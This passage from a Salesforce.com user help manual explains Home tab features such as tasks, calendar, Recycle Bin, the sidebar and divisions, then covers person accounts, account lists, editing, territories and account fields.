home page layout. For more information, see Customizing Home Tab Page Layouts on page 1040.

From the Home tab, you can view, create, and edit events and tasks. If you have Connect for Outlook or Connect for Lotus
Notes installed, you can sync your Outlook or Lotus Notes tasks and events with Salesforce.com so they display in the My
Tasks and Calendar sections on the Home page.

Using the My Tasks Section


In the My Tasks section on the Home tab, you can:
• Click New to create a task.
• View a list of tasks assigned to you. Up to fifteen tasks can be displayed; to view all your tasks, click View More.

The recurrence icon ( ) identifies tasks that are part of a recurring series.
• Choose a time frame from the drop-down list to change which tasks display.
• If your organization has enabled hover links for the My Tasks list, hover your mouse over the subject of a task to see the
details of the task in an overlay. Alternatively, click the subject of a task to open the detail page of that task.
• Click X to close a task.

Using the Calendar Section


In the Calendar section on the Home tab, you can:
• Click New Event to create a new event.
• Click the Scheduled Meetings subtab to view a list of the events you have scheduled for the next seven days. This tab
displays a maximum of 50 events per day.
- The recurrence icon ( ) identifies events that are part of a recurring series.
- The group event icon ( ) identifies group events. Group events are not available in Personal Edition.
- If your organization has enabled home page hover links for events, hover your mouse over the subject of an event to
display the details of the event in an interactive overlay. Alternatively, click the subject of an event to open the detail
page of that event.

• Click the Requested Meetings subtab to view meetings you have requested but not confirmed. This tab displays a maximum
of 100 requested meetings.

46
Home Tab Recycle Bin

- Click the subject of the meeting to open its detail page where you can cancel and reschedule the meeting.
- The Status column shows the number of invitees that have responded to your meeting request.
- Once you confirm a meeting, it appears on the Scheduled Meetings subtab.
If the Requested Meetings subtab doesn't display, ask your Salesforce.com administrator to add it to the Calendar section.
See Customizing Activity Settings on page 1064.
• View a small calendar of the current month. To change which month displays, click the Previous Month ( ) and Next
Month ( ) icons as appropriate.
• Navigate to different views of your calendar: Click the icons underneath the small monthly calendar as appropriate. For
more information, see Viewing Your Calendar on page 113.

See Also:
Viewing Activities
Requesting a Meeting With Contacts, Leads, and Person Accounts
Setting Up the Request a Meeting Feature

Recycle Bin
Available in: All Editions

User Permissions Needed


To view and recover your deleted records: “Read” on the records in the Recycle Bin
To view and recover records deleted by other users: “Modify All Data”
To recover deleted public tags: “Tag Manager”
To purge the Recycle Bin: “Modify All Data”

The Recycle Bin link in the sidebar lets you view and restore recently deleted records for 30 days before they are permanently
deleted. Your recycle bin record limit is 250 times the Megabytes (MBs) in your storage. For example, if your organization
has 1 GB of storage then your limit is 250 times 1000 MB or 250,000 records. If your organization reaches its Recycle Bin
limit, Salesforce.com automatically removes the oldest records if they have been in the Recycle Bin for at least two hours.

Viewing Items in the Recycle Bin


Choose My recycle bin from the drop-down list to view just the items you deleted. Administrators, and users with the “Modify
All Data” permission, can choose All recycle bin to view all data that has been deleted for the entire organization. In Personal
Edition, the All recycle bin option shows all of your deleted items.

Searching for Items in the Recycle Bin


1. Choose My recycle bin or All recycle bin from the drop-down list. Choosing My recycle bin searches for matches only
in the items you deleted.
2. Enter your search terms. Search terms are treated as separate words with an implied AND between them. For example,
searching for bob jones returns items with bob and jones together but not bob smith whose email address is bsmith@jones.com.

47
Home Tab Creating Records Using the Create New Drop-Down List

An implied wildcard is appended to your search terms so searching for bob returns any bob or bobby. Searches look for
matches in the field displayed in the Name column of the Recycle Bin such as lead Name, Case Number, Contract
Number, or Product Name.
Note: Some search features, including stemming and synonyms, are not available in the Recycle Bin search.

3. Click Search.

Restoring Items in the Recycle Bin


You can restore items by checking the box next to those items and clicking Undelete. To restore all deleted items, check the
box in the column header and then click Undelete.
When you undelete a record, Salesforce.com restores the record associations for the following types of relationships:
• Parent accounts (as specified in the Parent Account field on an account)
• Parent cases (as specified in the Parent Case field on a case)
• Master solutions for translated solutions (as specified in the Master Solution field on a solution)
• Managers of contacts (as specified in the Reports To field on a contact)
• Products related to assets (as specified in the Product field on an asset)
• Opportunities related to quotes (as specified in the Opportunity field on a quote)
• All custom lookup relationships
• Relationship group members on accounts and relationship groups, with some exceptions
• Tags
• An article's categories, publication state, and assignments
Note: Salesforce.com only restores lookup relationships that have not been replaced. For example, if an asset is related
to a different product prior to the original product record being undeleted, that asset-product relationship is not
restored.

Purging the Recycle Bin


To permanently remove your deleted items prior to the 30 day period, administrators, and users with the “Modify All Data”
permission, can click Empty your recycle bin or Empty your organization’s recycle bin .

See Also:
Removing Members from Relationship Group Members
Managing Articles

Creating Records Using the Create New Drop-Down List


The available options in the Create New drop-down list vary according to which permissions you have, which Salesforce.com
Edition you are using, and which app you are using.

The Create New drop-down list, available in the sidebar, provides options to create new records. To create a new record using
the drop-down list:

48
Home Tab Using the Tags Sidebar Component

1. Select the type of record you want to create. The new record page immediately displays in the appropriate tab.
2. Fill in the fields.
3. Click Save.

Using the Tags Sidebar Component


The Tags link and Recent Tags drop-down list, available in the sidebar, allow you to browse tags and access your most recently
used tags, respectively.

• Click Tags to browse, search, and manage your entire tag collection.
• Select a tag in the Recent Tags drop-down list to view all records that have been marked with that tag. The tags that appear
in this list are those you have most recently used to tag records.

See Also:
About Tagging
Browsing, Searching, and Managing Tags
Enabling Tags

About the Sidebar


Available in: All Editions

The sidebar column that appears on the left side of most Salesforce.com pages provides convenient access to the following
links and commands.

• Search
• The Google Talk gadget
• The Tags link and Recent Tags drop-down list
• The Divisions drop-down list
• The Create New drop-down list
• A Calendar shortcut to your last used calendar view
• The Recent Items list
• Messages and Alerts
• Custom Links
• A shortcut to the Recycle Bin

The options in your sidebar may vary if your administrator has customized your home page layout. For more information, see
Customizing Home Tab Page Layouts on page 1040.
If your administrator has enabled the collapsible sidebar, you have the choice to show or hide the sidebar as needed. Click the
edge of the sidebar or press ALT+S to open or close the sidebar as needed. Opening the sidebar using ALT+S automatically
places your cursor in the Search box.

49
Home Tab Messages and Alerts

Note: Call center users won't see incoming calls if they collapse the sidebar.

Tip: If your organization uses divisions, we recommend that you keep the sidebar pinned and visible at all times so
you always have access to the Divisions drop-down list.

See Also:
Customizing Activity Settings

Messages and Alerts


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

The Messages and Alerts section of the Home tab sidebar displays announcements customized by your organization's
administrator. The Messages and Alerts section is not available in Personal Edition.

See Also:
Customizing Home Tab Page Layouts
About the Sidebar

Custom Links
Available in: All Editions

This section appears on the Home tab depending on your customized home page layout. See Customizing Home Tab Page
Layouts on page 1040.
The Custom Links section of the Home tab contains links to websites or Salesforce.com pages that are useful for everyone in
your organization. Your administrator sets which links display in this section.

See Also:
Customizing Home Tab Page Layouts
About the Sidebar

50
Home Tab Recent Items

Recent Items
Available in: All Editions

In the Recent Items section of the sidebar column, you see a short list of up to 10 specific accounts, campaigns, cases, contacts,
contracts, documents, ideas, questions, leads, opportunities, quotes, orders, person accounts, solutions, users, or custom objects
you’ve most recently added or viewed. To see the details of an item, click the name of the item.
Tip: If your organization has enabled hover details, hover your mouse over any item in the Recent Items list to view
key information about the record before clicking into that record's detail or edit page.

Note: Your Recent Items may show fewer than 10 items if you have recently deleted any of your recently viewed
items. Likewise, the Recent lists on the tab home pages (for example, the Recent Leads list) may show fewer than 10
or 25 items if you have recently deleted items.

See Also:
About the Sidebar

Changing Your Working Division


Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To change your working division: “Affected by Divisions”
To limit list views, searches, and reports by division: “Affected by Divisions”

If your administrator has enabled divisions, your organization’s data will be segmented into different sections, making searches,
reports, and list views more meaningful for you. For example, if you work in the North American division, you can create
reports to show only records belonging to the European division.
You can change the division in which you are working at any time. The data you see in search results includes records in your
working division.

• To set your working division, simply select a division from the Divisions drop-down list in the sidebar.
• To search within multiple divisions at the same time, use advanced search or select --All-- from the Divisions drop-down
list.
• To search within a division in a lookup dialog, select a division from the drop-down list in the lookup dialog window. Your
results include records in the selected division.

51
Home Tab Viewing Client Update Alerts

Note: All searches within a working division also include the global division. For example, if you search within a
working division called Western Division, your results will include records found in both the Western Division
and the global division.

• To report on records in a specific division, select a division from the Divisions drop-down list on the report. Select
--Current-- to show records in your current working division.
Reports that are already scoped (such as My Cases or My team’s accounts) include records in all divisions, and you cannot
further limit them to a specific division.
• To find records in a specific division in a list view, use the Divisions drop-down list when creating or editing the list view.

Note: When you create new records, those records are not automatically assigned to your current working division.
See Overview of Divisions on page 409 for more information.

See Also:
About Divisions
Transferring Divisions
Changing Your Default Division
About the Sidebar

Viewing Client Update Alerts


Available in: Enterprise, Unlimited and Developer Editions

User Permissions Needed


To view client update alerts: “On, updates w/alerts”
OR
“On, must update w/alerts”
on your profile

Under the following conditions, an alert banner automatically appears across the Home tab when new versions of clients such
as Connect for Outlook and Connect Offline are available.

• Your administrator has given you access to see the Home tab alerts. See Setting User Permissions for Desktop Clients on
page 470.
• In the past, you have successfully logged in from the client with your Salesforce.com username and password.

Click the alert banner to proceed to the Check for Updates page.
Note the following:

• You can navigate to the Check for Updates page at any time to see which client versions are installed on your computer.

52
Accounts Accounts Overview

• After installing the update, the alert banner continues to appear across the Home tab until you log in through the newly
updated client.
• Connect Offline is the only client available with Developer Edition.

See Also:
Setting User Permissions for Desktop Clients
Force.com Connect for Microsoft Outlook® Overview
Force.com Connect Offline Overview
Force.com Connect for Microsoft Office® Overview
Force.com Connect for Lotus Notes Overview

ACCOUNTS

Accounts Overview
Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions

Accounts are your organization's customers, competitors, and partners. Each account stores information such as name, address,
and phone numbers. For each account, you can store related information such as opportunities, activities, cases, partners,
contracts, and notes.
The Accounts tab displays a home page that lets you quickly create and locate all types of accounts. You can also sort and filter
your accounts using standard and custom list views. In addition, this tab lets you view and edit detailed information on each
account to which you have access.
If your organization has been enabled with person accounts, you have two different kinds of accounts: business accounts and
person accounts. Business accounts represent the other companies with which your organization does business. For business
accounts, the individuals who work at those companies are represented by contacts. Person accounts represent the individual
consumers with whom your company does business, such as a financial services client, an online shopper, or a vacation traveler.
Depending on your organization's business model, you may use business accounts, person accounts, or both.
If your organization has been enabled with PRM, you can create partner accounts. Partner accounts are business accounts that
a channel manager uses to manage partner organizations, partner users, and activities.

53
Accounts What is a Person Account?

Note: In the online help and other Salesforce.com documentation, the word “account” by itself always refers to both
business accounts and person accounts. The terms “business account” and “person account” are used when there are
differences between the two kinds of accounts.

See Also:
Accounts Home
What is a Person Account?
Partner Portal Overview

What is a Person Account?


Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions

Note: Person accounts are not enabled by default in Salesforce.com. To quickly verify whether your organization uses
person accounts, see if you have an option to select Person Account as the record type when you create a new account.
To request person accounts, check with your administrator or contact salesforce.com.

A person account is an individual consumer with whom you do business, such as a financial services client, an online shopper,
or a vacation traveler. Person accounts are applicable to organizations that operate on a business-to-consumer model as opposed
to a business-to-business model.
In a business-to-business model, there is a natural differentiation between the other businesses with whom you work and the
people associated with those businesses. In Salesforce.com, that translates to accounts and contacts having different fields,
features, and tabs. In a business-to-consumer model, because you are providing products or services to people rather than
companies or organizations, the distinction between accounts and contacts does not exist. Consequently, person accounts in
Salesforce.com have a combination of fields from both accounts and contacts, and can be used as contacts in most situations
that involve contacts. For example, business accounts do not have standard fields for email address and job title, but person
accounts do. Also, person accounts can be associated with campaigns just like contacts, but business accounts cannot. For
details on the contact-specific functionality that applies to person accounts, see Person Account Behaviors on page 55.
The ability for person accounts to act like contacts is made possible by applying an account record type which has special
properties. The default name of this record type is “Person Account.” Your administrator may have changed the name of this
record type, and also may have created more account record types that have the same special properties. For more information
on record types, see Managing Record Types on page 1004 and Changing the Record Type Field on page 90.

54
Accounts Person Account Behaviors

Note: In the online help and other Salesforce.com documentation, the word “account” by itself always refers to both
business accounts and person accounts. The terms “business account” and “person account” are used when there are
differences between the two kinds of accounts.

See Also:
Person Account Behaviors
Accounts Overview
Contacts Overview
Tip sheet: Using Person Accounts
Implementation guide: Implementing Person Accounts
Disabling and Deactivating Portal Users

Person Account Behaviors


Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions

Note: Person accounts are not enabled by default in Salesforce.com. To request person accounts, contact salesforce.com.

Person accounts are accounts that can also be used as contacts in many situations. The following table summarizes the key
areas in which person accounts differ from business accounts or have unique considerations:

Salesforce.com Functionality Person Account Behavior


Account Merge Person accounts can only be merged with other person
accounts. See Merging Duplicate Accounts on page 83.
Account Quick Create
On the accounts home page, the fields in the Quick Create
area are based on whether the default account record type set
on your profile is a person account record type or a business
account record type.

Accounts Person accounts are accounts that support contact fields and
capabilities.
Activities Person accounts can be associated with activities using either
the Name or Related To fields.
As with contacts, person accounts can be invited to group
events and requested meetings.
For users to request a meeting with a person account, the
Email field must be added to the Person Accounts page
layout.

55
Accounts Person Account Behaviors

Salesforce.com Functionality Person Account Behavior


Campaigns As with contacts, person accounts can be added to campaigns
and have a Campaign History related list.
Cases On cases, person accounts can be entered in the Account
Name field, the Contact Name field, or both.

Contact Roles As with contacts, you can add person accounts to the Contact
Roles related list on cases, contracts, and opportunities.
Contacts In most situations, you can use person accounts as if they were
contacts. You can include them in all contact list views except
the Recent Contacts list on the contacts home page.
Unlike business accounts, person accounts do not have a
Contacts related list. However, you can use the Partners related
list to track relationships between different person accounts.

Custom Objects Custom objects with relationships to either accounts or


contacts can be added as related lists on person accounts.
Customer Portal As with contacts, person accounts can be enabled as users for
your Customer Portals. Note that Customer Portals are only
available for Enterprise and Unlimited Editions.
Desktop Integration Person accounts are currently supported in Connect Offline
and Connect for Outlook version 3.2 and later; see Working
with Person Accounts in Connect for Outlook on page 1931.
They are not currently supported in Connect for Lotus Notes.
Email As with contacts, you can send individual emails and mass
emails to person accounts.
Field History Account fields for person accounts can be tracked using the
account field history settings, but contact fields for person
accounts are configured on the contact field history settings
page. See Tracking Field History on page 837.
Fields A predetermined combination of standard account and contact
fields is available on person account page layouts. In addition,
all custom account and contact fields are available. See Person
Account Fields on page 70.
Note that some business account fields are not supported for
person accounts, such as Parent Account and View
Hierarchy. Also, the Reports To field on contacts is not
supported for person accounts.
You can rename person account field labels so alternate terms
display in Salesforce.com.

Icons Person accounts have a person icon ( ), while business


accounts have a folder icon ( ). The person account icon can

56
Accounts Person Account Behaviors

Salesforce.com Functionality Person Account Behavior


be added to search results, list views, and lookup dialogs using
the criteria “Is Person Account equals True.”
Import Wizards Person accounts have unique import wizards at Setup ➤
Import ➤ Import My Person Accounts and Setup ➤ Data
Management ➤ Import Person Accounts. See What Is
Imported for Person Accounts? on page 621.
Leads Leads with a blank Company field are converted to person
accounts. The default person account record type for your
profile is applied to the new person account. Note that you
can only create leads with a blank Company field using the
Force.com API. Leads with a value in the Company field are
converted to business accounts. The default business account
record type for your profile is applied to the new business
account. See Converting Leads on page 2066 and Assigning
Record Types to Profiles on page 469.
List Views Person accounts appear in both account and contact list views.
Add the Is Person Account icon to list views to visually
differentiate person accounts from other records, and to include
or exclude person accounts in a list.
Mobile Configurations Mobile configurations that include the account object
automatically deliver person accounts and business accounts
to users' mobile devices.
Person accounts can be excluded from the configuration's data
set using the criteria “Is Person Account equals False.”
To mobilize only person accounts, use the criteria “Is
Person Account equals True.” If a mobile configuration
includes accounts but not contacts, users assigned to that
configuration will see a Contacts tab in the mobile client
application, and the tab will contain person accounts.

Page Layouts Person accounts have unique page layouts that can have
account fields, contact fields, account custom links, account
related lists, and contact related lists. Person accounts page
layouts do not support the Reports To and Parent
Account fields. You cannot add a contact formula field that
references the account object to person accounts page layouts.
Partners You can use the Partners related list to relate person accounts
to each other. We recommend that you rename the Partners
related list to “Related Accounts,” “Relationships,” or a similar
term that reflects how your person accounts are connected.
Record Types Administrators can configure multiple record types for person
accounts. A person account can only be changed to another
person account record type.

57
Accounts Person Account Behaviors

Salesforce.com Functionality Person Account Behavior


Renamed Tabs and Standard Fields Administrators can customize the names of tabs and fields
related to person accounts, such as:
• The Accounts tab name, the business account field
label, and the person account field label.
• The Contacts tab name and the business contact
field label.

See Renaming Tab and Field Labels on page 792.


Search Person accounts only appear in account search results.
Administrators can add the Is Person Account icon to
account search layouts in order to differentiate person accounts
from business accounts.
Self-Service Portal As with contacts, person accounts can be enabled as users for
your Self-Service portal.
Sharing Settings Contact sharing is not available if you have enabled person
accounts. The organization-wide default for contacts is set to
Controlled by Parent and is not editable.
If your organization has customized your contact sharing
settings and you want to enable person accounts, change your
organization-wide default for contacts to Controlled by Parent,
which removes all your contact sharing rules and manually
shared contacts.

Stay-in-Touch Requests As with contacts, you can send individual and mass
Stay-in-Touch requests to person accounts.
Storage Person accounts count against both account and contact
storage because the API considers each person account to
consist of one account as well as one contact.
Workflow Rules Creating or editing a person account triggers account workflow
rules. See Managing Workflow and Approvals on page 1399.

See Also:
What is a Person Account?
Tip sheet: Tips & Hints for Person Accounts
Administrator setup guide: Implementing Person Accounts
Disabling and Deactivating Portal Users

58
Accounts Accounts Home

Accounts Home
Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Accounts tab: “Read” on accounts
To view accounts: “Read” on accounts
To create business accounts: “Create” on accounts
To create person accounts: “Create” on accounts and contacts

Clicking on the Accounts tab displays the accounts home page.

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• In the Recent Accounts section, select an item from the drop-down list to display a brief list of the top accounts matching
that criteria. From the list, you can click any account name to go directly to the account detail. Toggle the Show 25 items
and Show 10 items links to change the number of items that display. The fields you see are determined by the “Accounts
Tab” search layout defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited,
and Developer Editions only). The Recent Accounts choices are:

Recent Accounts Choice Description


Recently Viewed The last ten or twenty-five accounts you viewed, with the
most recently viewed account listed first. This list is derived
from your recent items and includes records owned by you
and other users.
Recently Created The last ten or twenty-five accounts you created, with the
most recently created account listed first. This list only
includes records owned by you.
Recently Modified The last ten or twenty-five accounts you updated, with the
most recently updated account listed first. This list only
includes records owned by you.

• If Quick Create has been enabled by your administrator, you can add a new account from the Quick Create area in the
sidebar on the accounts home page. Fill in the fields to add a new account. If your organization uses person accounts and
your default record type for the Accounts tab is a person account record type, then the Quick Create fields include First
Name and Last Name instead of Account Name.

Alternatively, click New next to the Recent Accounts section to create a new account.
• Under Reports, click any report name to jump to that report.

59
Accounts Viewing Account Lists

• Select any of the links under Tools to access utilities for managing your accounts.
• If accounts are shared with external contacts via Salesforce to Salesforce, choose one of the list views under Accounts from
Connections to view accounts that your business partners have shared with you.

Note: If your organization has Salesforce for Wealth Management, accounts are called clients.

See Also:
Accounts Overview
What is a Person Account?
Displaying and Editing Accounts
Creating Accounts
Merging Duplicate Accounts
Deleting Accounts
Creating Custom List Views

Viewing Account Lists


Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view account lists: “Read” on accounts
To create business accounts: “Create” on accounts
To create person accounts: “Create” on accounts and contacts

Note: If your administrator has enabled enhanced lists, you can use additional tools to customize, navigate, manage,
and edit list data.

The accounts list page displays a list of accounts in your current view. From this page, you can view detailed account information
and access other related information.

• Click an account name to view the account detail.


• Click Edit or Del next to an account name to edit or delete the account. See Displaying and Editing Accounts on page
62.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Printable View ( ) to display the current list view in a format that is ready for printing.
• Click New Account or select Account from the Create New drop-down list in the sidebar to create an account. These
options display only if you have the “Create” permission on accounts. See Creating Accounts on page 66.

60
Accounts Viewing Account Lists

• Click any column heading to sort the accounts in ascending order using that column’s information. Click a column heading
a second time to sort in descending order.
If your organization uses person accounts and your current list view includes the field Is Person Account, the column
heading for this field is the person account icon ( ). Click the person account icon in the header to sort person accounts
at either the top or bottom of the list.
• At the top of the list, click a letter to display the contents of the sorted column that begin with that character.
• Click the Next Page (or Previous Page) link to go to the next or previous set of accounts.
• At the bottom of the account list, select fewer or more to view a shorter or longer display list.
• Click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list. Then,
you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record. Note
that your administrator controls the availability of drag-and-drop scheduling.

Note: If your organization has Salesforce for Wealth Management, accounts are called clients.

See Also:
Accounts Home
What is a Person Account?
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists

61
Accounts Displaying and Editing Accounts

Displaying and Editing Accounts


Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts: “Read” on accounts
To change business accounts: “Edit” on accounts
To change person accounts: “Edit” on accounts and contacts
To enable partner accounts:
“Manage Partners”

To disable partner accounts: “Edit” on accounts


AND
“Manage Partners”

To disable Customer Portal accounts: “Edit” on accounts


AND
“Edit Self-Service Users”

Displaying Accounts
Once you have located an account on the Accounts home or list pages, click the account name to display detailed
information. If you are unable to see related records such as opportunities and contacts, belonging to portal users, ask
your Salesforce.com administrator to add you to the portal share groups with access to the portal users' data.
Tip: If your organization has enabled hover details, hover over any lookup field on the detail page to view key
information about a record before clicking into that record's detail page.

Editing Accounts
To update account details, click Edit, and then change the fields you want to update. When you finish, click Save. You
can also click Save & New to save the account and create another.
Note: If your organization enabled inline editing, you can edit fields directly on the detail page.

Tagging Accounts
If tags have been enabled, click Add Tags or Edit Tags in the Tags area directly under the title bar to tag the current
record. If the record is already tagged, click one of the tag names to view a list of all records with that tag.

62
Accounts Displaying and Editing Accounts

Sharing
In Professional, Enterprise, Unlimited, and Developer Edition organizations, click Sharing to share an account and its
related information with other users, groups, or roles.

Connect Offline
If you use Connect Offline, you can update a subset of your accounts without an Internet connection.
To determine which accounts you can update, either an administrator assigns a briefcase configuration to your profile,
or you can change your Connect Offline briefcase settings. In addition, you can click the Include Offline button on an
account detail page to include the account in your offline briefcase. You can select up to 100 accounts to include in your
offline briefcase.

Enabling and Disabling Partner Accounts


If your organization has enabled a partner portal, click Work with Portal and choose Enable As Partner to enable an
account as a partner account.
To disable an account as a partner account, click Work with Portal and choose Disable Partner Account. Disabling a
partner account disables up to 15 partner portal users associated with the account and permanently deletes all of the
account's partner portal roles and groups. You cannot restore deleted partner portal roles and groups.
After you disable a partner account, you can re-enable individual contacts as partner portal users. However, re-enabling
a contact for a partner portal creates a new portal user and role that is not associated with the previous partner portal
user and role in any way.
We recommend disabling a partner account if the account was accidentally enabled for portal access.

Enabling and Disabling Person Accounts as Customer Portal Users


In Enterprise and Unlimited Edition organizations where person accounts and a Customer Portal have been enabled,
click Work with Portal and choose Enable Customer Portal User on the person account detail page to allow a person
account to use your Customer Portal. After the person account is enabled, click Work with Portal and choose View
Customer Portal User on the person account detail page to view or edit a person account’s access to your Customer
Portal.
To disable a person account for a Customer Portal, click Work with Portal and choose Disable Customer Portal
Account. If you re-enable a person account for a Customer Portal, a new portal user is created and he or she is not
associated with the previous Customer Portal user in any way.

Disabling Customer Portal Accounts


If your organization has enabled a Customer Portal, and you want to disable an account for a Customer Portal, click
Work with Portal and choose Disable Customer Portal Account. Disabling a Customer Portal account disables up to
100 Customer Portal users associated with the account and permanently deletes all of the account's Customer Portal roles
and groups. You cannot restore deleted Customer Portal roles and groups.
You cannot re-enable an account for a Customer Portal portal. However, you can re-enable individual contacts as
Customer Portal users. Re-enabling a contact for a Customer Portal creates a new portal user and role that is not associated
with the previous Customer Portal user and role in any way.
We recommend disabling a Customer Portal account if contacts on the account were accidentally enabled for portal
access.
You can't disable Customer Portal accounts with High Volume Customer Portal users.

63
Accounts Displaying and Editing Accounts

Account Related Lists


The lower portion of the page provides information related to the account including activities, opportunities, cases,
partners, contracts, service contracts, entitlements, account teams, assets, and notes. The related lists you see are determined
by your personal customization, any customizations your administrator has made to page layouts, your permissions to
view related data, and the kind of account you are viewing—a business account or a person account. You can click on
individual items to display additional details. Click more at the bottom of the page or View More below a related list
to display more items. Clicking the New button lets you directly add new items. For example, clicking New Contact
allows you to add a new contact.
Note: If enabled by your administrator, related list hover links display at the top of each detail page. If Salesforce
Chatter is enabled, related list hover links display below feeds. Hover your mouse pointer over a related list hover
link to display the corresponding related list and its number of records. An interactive overlay allows you to
quickly view and manage the related list items. You can also click a related list hover link to jump to the content
of the related list without having to scroll down the page.

Printing Accounts
To open a printable display of all information for a record, click Printable View on the detail page.

To return to the last list page you viewed, click Back to list at the top of any account detail page. If your organization has
enabled collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on the
detail page. For more information, see Navigating on page 9.
Note: As the owner of an account, you can normally view all data related to that account.
However, your administrator can set an option on your role that determines whether you can view opportunities that
you do not own that are associated with your accounts.
Also, if your accounts are assigned to territories, your administrator can set options that determine whether users in
that territory can view, edit, transfer, or delete your accounts.

Note: If your organization has Salesforce for Wealth Management, accounts are called clients.

See Also:
Account Fields
Viewing Parent Accounts
Creating Accounts
Deleting Accounts
Searching for Accounts
Changing the Record Type Field
Adding Translated Names
Changing the Territories of an Account
Account History

64
Accounts Changing the Territories of an Account

Changing the Territories of an Account


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change the territories of an account: “Manage Territories”
OR
You are a forecast manager, Forecast managers can
manage territories is selected, and you are working
below your position in the territory hierarchy.

To modify an account's manually assigned territories:

1. From the account detail page, click Change next to the Territories field.
2. At the Rule-based territory assignments list, view the territories that contain the account due to active account
assignment rules. You cannot use this page to remove the account from these territories; to do so you must modify the
account assignment rules that evaluated the account. For more information, see Managing Account Assignment Rules on
page 1842.
3. If the account has existing manual assignments to one or more territories, the names of those territories will appear in the
Selected territories list.
4. Click Select and Deselect to move territories between the Available territories list and the Selected territories list.
5. Optionally, click Horizontal View or Vertical View in the drop-down list to place the Selected territories list either
alongside or below the Available territories list.
6. When the Selected territories list contains the territories to which the account should be manually assigned, click Save to
finish and return to the account detail page.

See Also:
Displaying and Editing Accounts
Territory Management Overview
Manually Assigning Accounts to Territories

65
Accounts Account History

Account History
Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts: “Read” on accounts

The Account History related list of an account detail page tracks the changes to the account. Any time a user modifies any of
the standard or custom fields whose history is set to be tracked on the account, a new entry is added to the Account History
related list. For person accounts, this includes any relevant contact fields that are set to be tracked. All entries include the date,
time, nature of the change, and who made the change. Modifications to the related lists on the account are not tracked in the
account history. For information about setting up which fields are tracked, see Tracking Field History on page 837.

Creating Accounts
Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts: “Read” on accounts
To create business accounts: “Create” on accounts
To create person accounts “Create” on accounts and contacts

To create a new account, select Account from the Create New drop-down list in the sidebar, or click New next to Recent
Accounts on the accounts home page. If your organization has enabled person accounts, you must first specify whether the
record type is a business account or person account. Next, enter the information for the account. Click Save when you are
finished, or click Save & New to save the current account and add another.
To specify that a business account is a subsidiary of another business account, fill in the Parent Account field. You can
then view a hierarchy of account relationships. The Parent Account field is not available for person accounts.
Use the Account Site field to designate different locations of the same company. For example, Acme.com may have offices
in Paris and London. Create two accounts, both called Acme.com, but with Account Site values of Paris and London,
respectively.
If Quick Create has been enabled by your administrator, you can add a new account from the Quick Create area in the sidebar
on the accounts home page. Fill in the fields to add a new account. If your organization uses person accounts and your default
record type for the Accounts tab is a person account record type, then the Quick Create fields include First Name and Last
Name instead of Account Name.

66
Accounts Account Fields

Enterprise, Unlimited, and Developer Edition organizations can activate record types and ask you to choose a Record Type
when creating an account. This determines the picklist values available when creating and editing a record.
If your organization uses divisions, the division of a new account is automatically set to your default division, unless you
manually select a different one.
If your organization uses territory management, account assignment rules can automatically assign newly created accounts to
territories. See Territory Management Overview on page 1826.

See Also:
Account Fields
Sharing Accounts
Viewing Parent Accounts
Accounts Home
What is a Person Account?

Account Fields

See Also:
Displaying and Editing Accounts
Creating Accounts
What is a Person Account?
Viewing Fields

Business Account Fields


The available fields vary according to which Salesforce.com Edition you have.

A business account has the following fields, listed in alphabetical order. Depending on your page layout and field-level security
settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer
Editions only.)
Note: Administrators can customize the display labels of standard fields.

Field Description
Account Currency The default currency for all currency amount fields in the
account. Amounts display in the account currency and are also
converted to the user’s personal currency. Available only for
organizations that use multiple currencies.

67
Accounts Account Fields

Field Description
Account Division Division to which the account belongs. Records related to the
account, such as contacts and opportunities, automatically
inherit the account’s division. Available only in organizations
that use divisions to segment their data.
Account Name Name of company. Up to 255 characters are allowed in this
field.
Account Name (Local) The name of the account translated into the local language.
Account Number Tracking or reference number for account. Up to 40 characters
are allowed in this field.
Account Owner Assigned owner of account. Not available in Personal Edition.
Account Record Type Name of the field that determines what picklist values are
available for the record. Available in Enterprise, Unlimited,
and Developer Editions.
Account Site Name of the account’s location, for example, Headquarters or
London. Up to 80 characters are allowed in this field.
Annual Revenue Amount of annual reported revenue.
Billing Street Street address used for billing. Up to 255 characters are allowed
in this field.
Billing City City portion of billing address. Up to 40 characters are allowed
in this field.

Billing State/Province State or province portion of billing address. Up to 20 characters


are allowed in this field.

Billing Zip/Postal Code Zip or postal code portion of billing address. Up to 20


characters are allowed in this field.
Billing Country Country portion of billing address. Up to 40 characters are
allowed in this field.
Created By User who created the account, including creation date and
time. (Read only)
Description Description of account. Up to 32 KB of data are allowed in
this field. Only the first 255 characters display in reports.
Employees Number of people employed by the account.
Exclude from territory assignment rules When checked, shields the account from being evaluated when
account assignment rules are run, preventing it from being
automatically assigned to territories. Also, if the account is
already assigned to territories as a result of assignment rules,
checking this box removes the account from those territories.
This checkbox only affects rule-based account assignments

68
Accounts Account Fields

Field Description
and has no effect on manual account assignments. See
Territory Management Overview on page 1826.
Fax Fax number. Up to 40 characters are allowed in this field.
Industry Primary business of account. Entry is selected from a picklist
of available values, which are set by an administrator. Each
picklist value can have up to 40 characters.
Modified By User who last changed the account fields, including
modification date and time. This does not track changes made
to any of the related list items on the account. (Read only)
